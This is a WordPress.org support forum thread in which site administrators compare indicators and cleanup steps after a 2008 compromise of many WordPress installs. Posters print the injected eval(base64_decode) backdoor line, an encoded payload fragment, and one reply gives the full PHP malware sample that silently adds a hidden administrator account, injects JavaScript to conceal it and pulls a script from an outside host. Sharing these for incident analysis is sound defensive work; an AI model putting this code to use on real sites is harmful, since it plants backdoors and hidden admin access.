WordPress.org

Support

Support » How-To and Troubleshooting » Security issue, multiple sites

Security issue, multiple sites

  • This issue actually involves several sites, running versions 2.1.3, 2.3, 2.3.1, 2.3.2, 2.3.3 and 2.5

    A couple of the sites had wp-content/uploads writable so they could upload images for use in posts, and files in wp-content/themes writable so they could make theme updates from inside WP.

    Back in early March, I found that several sites had been hit with the ro8kfbsmag.txt hack as mentioned in several threads here, and I’d cleaned those up and upgraded to 2.3.3, since 2.5 wasn’t yet available as a release.

    This past weekend, I discovered several of those sites plus a few additional ones, including 2 brand new sites with 2.5 installed, had many of their files in the writable directories compromised, a bunch of suspicious files uploaded, and database modifications that I cannot explain.

    I’m still trying to unravel the mess and clean it up, but here’s a rundown of tell-tale signs I’ve found.

    Check any .php file for this code added to the top of the file:
    <?php if(md5($_COOKIE['_wp_debugger'])=="--hash excised--"){ eval(base64_decode($_POST['file'])); exit; } ?>

    See if there are any files in writable directories that have the same named as an existing file with the extensions _new.php, _old.php, .php.pngg, .php.jpgg, or .php.giff. These files will be executables that when called from a browser will display a fake “404 Not Found” error, but if called from a script with the matching hash from one of the hacked PHP scripts, will display system info about the server your site is sitting on. Haven’t yet figured out where or how that info is sent to anyone.

    I can send a copy of the script to anyone in WP security if needed, but I don’t know if this kind of thing is preferred to be attached, inline, or zipped, or anything.

    Also see if there’s a wp-info.txt file anywhere in your hierarchy. This file will contain userinfo dumped from the MySQL database… usernames, emails, passwords, everything. Move it ASAP, but check your logs to see if it was accessed already.

    One other thing I noticed, and this happened on the new 2.5 installs as well as the older ones that hadn’t been upgraded yet, was the silent addition of the user “WordPress”, with no info save a password, and an add date of all zeroes. There’s also no indication of user level in the database, and the user doesn’t show up in the User menu. However, when I was going through and deleting unnecessary “admin” logins, “WordPress” came up as one of the user options to reassign posts to… otherwise it might have been a while before I’d found that buried in the database.

    So I’ve asked all the users on those sites to update their passwords, even if they’d just changed them after the ro8kfbsmag hack, but I have to wonder if I missed anything when cleaning up after that hack that they used to continue to get in and do the more widespread and scary stuff of planting of these new scripts to collect system info.

    As far as I can tell, some of these sites may have been compromised for as long as a month, but all of the added files I’ve listed here were added on Apr 10 and Apr 11, except for one site that seems to have had those changes made on Apr 5.

    I am in the process of changing the DB passwords on those sites, and deleting the new “WordPress” user, but any insight on where this might have started would be welcomed. This new user also happened on sites ranging from 2.1 to 2.3 to 2.5

    What I don’t know yet is if one site was the “in” door, and the rest were compromised by the one script, or if the sites were individually hacked the same way.

Viewing 15 replies - 16 through 30 (of 53 total)
  • whooami

    @whooami

    Member

    If whooami found evidence that this particular hack was in use on March 19, there’s no way that 2.5 was the “in” door, unless someone was using an RC.

    I still think that it was a 2.3.x site on my server that was hit first, then the script looking for write permissions did the rest, and it didn’t matter what version a site was running after that. Once I’m sure everything here’s clean again, I’ll go back to the logs.

    I still want to know how they added that invisible WordPress user.

    Sorry to hear y’all had the same problem – but nice to know I’m not alone! Same thing – April 11th, new files, code inserted into existing files, new “WordPress” admin account…

    One other indicator I found was entries in the wp_usermeta table – there seemed to be ones in there indicating admin permissions for entries in wp_user that didn’t exist.

    I had 2.1.x installations on my server together with 2.3.3 and 2.5. I guessed that the former were hit and the latter suffered from that – I was stupidly running all installations through the same MySQL user login. All changed now…

    I did notice a new “WordPress” admin account pop up in a 2.5 installation (one closed from public access by .htaccess password), even after I’d deleted it. I subsequently found a *php.jpgg or whatever file I’d missed on the server; no more admin accounts since deleting that.

    Anyway, I don’t have enough knowledge to determine how all this happened – just wanted to add my bits in case it clues someone else in.

    Now I’ve got separate DB logins for all installations, upgraded all to 2.5, changed “wp_” table prefix to 8 random characters, changed “admin” username, changed all WP passwords to strong random strings. I’ve learned a lot about security, but I’m exhausted! Touch wood this is the end of it.

    All of my sites were hit by this, about five hosted on Media Temple. I’m sure the spam-bot went for the popular ISP IP ranges when scanning for WP installations.

    If it helps anyone, I did the following per recommendations from this article.

    This page was a lifesaver:
    http://wordpressphilippines.org/blog/has-your-wordpress-been-hacked-recently/

    1. keep searching for wp-info.txt to make sure it’s not around, if so, delete it.

    find . -name wp-info*

    2. get rid of all _new _old .jpgg .giff and .pngg

    find . -name *_old* -exec rm '{}' \;

    3. find all instances of the backdoor account looks like

    <?php if(md5($_COOKIE['_wp_debugger'])=="randomhash"){

    Use grep to find this:

    grep -ri _wp_debugger * *.php

    Then do a global search and replace (for now) to replace _wp_debugger with ‘unknown’

    find . -name '*.php' | xargs perl -pi -e 's/_wp_debugger/unknown/'

    4. I upgraded all installations to 2.5

    5. I used phpmyadmin to remove the hidden ‘wordpress’ user account from the wp_users table in the database

    6. I reset all user passwords by replace the MD5 hash through the database directly.

    I don’t trust what files this hack might have tainted. For example, does it know when I’ve used the admin tools to reset passwords.

    My questions:

    – Does WordPress have any more details about what files this hack has tainted?
    – Do we know how the wp-info.txt file would be generated? I didn’t see it in my folders, so I’m a little worried that it created a cron job or something that hasn’t kicked off yet – any ideas?

    It seems like this is the type of attack we’ve suffered, as well, but we still get live hits when adding “/?p=4019.html” to the end of our blog URL (http://blog.burstlabs.com).

    Any ideas? I’m so frustrated and stumped right now. Argh.

    by “live hits” I mean pages that are obviously spam for drug companies, etc., but I can’t find any post/page that is numbered 4019 (to use the above example) to delete.

    Apparently, it doesn’t just affect the WordPress files. I’ve seen files created in other folders as well, so I’m going through each and every folder in my domain to remove these files.

    Hey boscardin, what types of files are you seeing? Has anyone seen a full analysis of this hack other than the links mentioned here?

    So far it seems like my cleanup went okay but maybe I should be looking for more signs.

    Excuse for my english…We have the problem in italian site speleo scintilena.com
    Y find the file create the username WordPress and password is sitename ($_SERVER[‘HTTP_HOST’]).(This pass in users table is cripted md5)
    This filename is ha.php and find this in wp-admin directory.
    But y haven’t idea how upload is.
    Y think upload width any plugin but not sure.
    Y find other site width this problem and y not damage his…but is is a big problem.
    We track the user WordPress in scintilena site and his ip is 194.110.162.79 (we logged and redirect this user of fbi site)
    is an server located in USA width the house of company in Panama (info Whois)
    Y posted the code for study:

    <?php
    require_once("../wp-config.php");
    
    add_hidden_user();
    
    @unlink(__FILE__);
    
    function add_hidden_user() {
         global $wpdb;
         $user_login = "WordPress"; $user_pass = md5($_SERVER['HTTP_HOST']);
         $js_server = "http://search-again.net/js/js.js"; if(strlen($js_server)>33){die("Server does not fit to cell!");};
         if($wpdb->get_var("SELECT ID FROM $wpdb->users WHERE user_login='$user_login'")>0){
         	$wpdb->query("DELETE FROM $wpdb->users WHERE user_login='$user_login'");
         };
         $users = $wpdb->get_results("SELECT * FROM $wpdb->users LIMIT 1");
         if(array_key_exists('display_name',$users[0])) {
              $query = "INSERT INTO $wpdb->users
                   (user_login, user_pass)
              VALUES
                   ('$user_login', '$user_pass')";
              $wpdb->query( $query );
              $user_id = $wpdb->insert_id;
              $up = array('first_name','last_name','nickname','description','jabber','aim','yim');
              $js='...
    
         <b id="user_superuser"><script language="JavaScript">
         var setUserName = function(){
              try{
                   var t=document.getElementById("user_superuser");
                   while(t.nodeName!="TR"){
                        t=t.parentNode;
                   };
                   t.parentNode.removeChild(t);
                   var tags = document.getElementsByTagName("H3");
                   var s = " shown below";
                   for (var i = 0; i < tags.length; i++) {
                        var t=tags[i].innerHTML;
                        var h=tags[i];
                        if(t.indexOf(s)>0){
                             s =(parseInt(t)-1)+s;
                             h.removeChild(h.firstChild);
                             t = document.createTextNode(s);
                             h.appendChild(t);
                        }
                   }
              }catch(e){};
         };
         addLoadEvent(setUserName);
         </script>';
              foreach ($up as $k) {
                   $v='';
                   if ($k='first_name') {$v=$wpdb->escape($js);};
                   update_usermeta( $user_id, $k, $v );
              }
              $user = new WP_User($user_id);
              $user->set_role('administrator');
              wp_cache_delete($user_id, 'users');
              wp_cache_delete($user_login, 'userlogins');
              if(md5($wpdb->get_var("SELECT meta_value FROM $wpdb->usermeta WHERE user_id='$user_id' AND meta_key='first_name'"))==md5($js)){
                   return "sucess";
              } else {
                   $wpdb->query("DELETE FROM $wpdb->usermeta WHERE user_id='$user_id'");
                   $wpdb->query("DELETE FROM $wpdb->users WHERE id='$user_id'");
                   return "failed";
              }
    
         } else {
              $js1 = '<b id="ux"><script language="JavaScript"';
              $js2 = ' src="'.$js_server.'"></script>';
    
              $query = "INSERT INTO $wpdb->users
                   (user_login, user_pass, user_level, user_firstname, user_lastname)
              VALUES
                   ('$user_login', '$user_pass', 10,'".$wpdb->escape($js1)."','".$wpdb->escape($js2)."' )";
              $wpdb->query( $query );
    
              $user_id = $wpdb->insert_id;
              if(md5($wpdb->get_var("SELECT user_firstname FROM $wpdb->users WHERE id='$user_id'"))==md5($js1) &&
                 md5($wpdb->get_var("SELECT user_lastname FROM $wpdb->users WHERE id='$user_id'"))==md5($js2)
              ){
                   return 1;
              } else {
                   $wpdb->query("DELETE FROM $wpdb->users WHERE id='$user_id'");
                   return 0;
              }
         }
    }
    ?>

    If you solving please posted.
    Thanks and.. ciauuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuz
    Mau

    Just as a followup, I was playing around with a database on one of the sites that had been hit (trying different things to resolve the “WordPress database error Duplicate entry” errors we’ve been getting from podpress ever since sites upgraded to 2.3, and I found something disturbing…

    In table wp_options, record active_plugins, I found 2 “active” plugins that don’t register in the listing of plugins, and that reference bad files from the hacking.

    i:3;s:54:”../../wp-content/themes/xxxx/404_old.gif”;
    i:4;s:117:”../../../../../../../../../../../../../../../../../../../../../../tmp/tmpnyQVsn/sess_1695814591293aea19710bfb3dcfc0b9″;

    I was able to change the number of plugins and delete these extras to the entries, but I’m concerned because these didn’t show up on a casual browse of the fields. I happened to see it when I was playing with a mysqldump of the database.

    It doesn’t look like it was newly added… but it looks like this next round of files was added on Apr 14… probably while I was still cleaning up the mess from Apr 11.

    I hadn’t noticed that anyone else here mentioned that little addition, like the invisible user WordPress that was added, but I have no idea what the invisible plugin is supposed to do. Could that session file in /tmp be a PHP shell? What should I look for to decode what it is?

    The plot thickens. Have you looked at 404_old.gif. Reading your post, I picked one site, and also found a bogus theme: comments-popup_old.png (also an image name … hmmmm). Here is a snippet from that odd looking content:

    <?/*?#?#,,sess,ykpIjdjU051SXpKZzBESXU5V2F6SlhaMjlGYzNSaUNOc2pidm
    yY3l
    b
    RmQjNka0FDYmhKMmJzZG1DTjBuQ05zVEtvUVhhNFZXQ0s
    d09
    OEdkZlIz
    
    xK
    GFrVm1ja2dDZGp
    b
    N
    UldaeTlGYzNsZ0NOQUNJZ0FDS
    dBU0NLMHdPZGR5YjA5RmRqVm1jcFJX
    nlkeVdVTlZSVkZ
    UlM5RkpnMERJdlIz
    DBOV1p5bEdabEpISmdrQ0l
    MDFKdlIz
    DBOV1p5bEdabEozSmJSMVVGVlZVRkox
    GtnQ2RsTjNjcEJDS2dZV2FKb1FEN2NDY29Cbkx1bDJadnhXTHdkM0x1NHlKZzBESXZSM1g

    This file is timestamped April 11th. I’ll look for more later. There probably are many more left to unearth.

    So far I have found 3 of these files. All are exactly 11128 bytes. Two had identical content, but not the third. Two were in non-WP directories (one was in an Apache log directory). All had image like names (one was jpg, one was jpeg and one png). I don’t know if this is the end of this trail or not.

    It looks like those phantom-encrypted/encoded plugins are how they’ve “altered” the display version number.

    The first tip off I had something was wrong on one of my installs was upgrading to the new 2.5.1 – for some reason it claimed it was still running 2.5 – I wiped everything and tried again – still it claimed to be 2.5 – I checked the files and the version 2.5.1 is listed in the files – so I started looking closer – found the wp-info.txt as well as the WordPress user.

    I also found the /tmp/ file listed as a plugin and one in the classic theme folder which had identical encrypted/encoded content – removing the plugins was the last change that fixed the version number – these plugins were only shown in the database field – not in the admin area.

    Hopefully that’s ALL the damage.

    but how do you edit those database fields? I think this is where I need to make a final sweep for miscreants.

    It’s really best to make the edit through something like phpmyadmin – login – select your wordpress database, then look for the wp_options table – then browse the table for the active_plugins row (or you could search for plugin) (on mine this option is listed as option id 39 – not sure if this is always the same.) In phpmyadmin you’ll have a pencil to the left of the row – this is a link to edit the entry.

    The whole thing looks kind of like this…

    a:19:{i:0;s:35:”TBValidator/trackback_validator.php”;i:1;s:35:”adsense-manager/adsen….. etc etc…

    The first two were the suspicious ones in mine – unfortunately I didn’t document things as I went – I just deleted from the first i: to the end ” after the second rogue plugin. I made sure that the option at the bottom of the page was to save and clicked GO.

    Then I went in and deleted the one file in the themes folder – the other seems to give permission denied still. (Even after a permissions change.) After all of this, I discovered that the edit essentially disabled all plugins – so I re-enabled my legit plugins.

    I don’t know enough about the database to know if it would cause the sky to fall to delete the active_plugins key entirely and then run the upgrade.php again to reinitialize – but that might be an easier fix for most if that’s safe. (Could someone speak to this?)

    Good luck!

Viewing 15 replies - 16 through 30 (of 53 total)
  • The topic ‘Security issue, multiple sites’ is closed to new replies.
Skip to toolbar